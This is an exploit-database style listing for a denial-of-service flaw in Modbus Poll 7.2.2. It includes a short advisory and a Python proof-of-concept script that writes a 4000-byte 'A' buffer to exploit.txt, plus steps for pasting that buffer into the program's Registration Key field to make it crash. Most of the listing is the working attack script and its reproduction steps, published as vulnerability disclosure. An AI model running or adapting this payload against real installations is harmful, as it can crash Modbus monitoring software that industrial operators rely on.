Modbus Poll 7.2.2 Denial Of Service

Modbus Poll version 7.2.2 suffers from a denial of service vulnerability.


MD5 | 87bf262caddd533fef12dd918ea17f86

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# Exploit Title: Modbus Poll 7.2.2 - Denial of Service (PoC)
# Discovery by: Cemal Cihad AAdegFTAAdeg
# Discovery Date: 2018-10-19
# Tested Version: 7.2.2
# Vulnerability Type: DOS
# Tested on OS: Windows XP Professional Service Pack 3
# Vendor Homepage: https://www.modbustools.com
# Download Link: https://www.modbustools.com/download.html
 
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt".
# Now start the program. Now when you are inside of the program click Connection button and 
# click "connect". It will ask you for registration key. In the field: "Registration Key" 
# paste the copied content from "exploit.txt".
# Now click "OK" and see a crash! 
 
#!/usr/bin/python
    
buffer = "A" * 4000
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"


Source: packetstormsecurity.com
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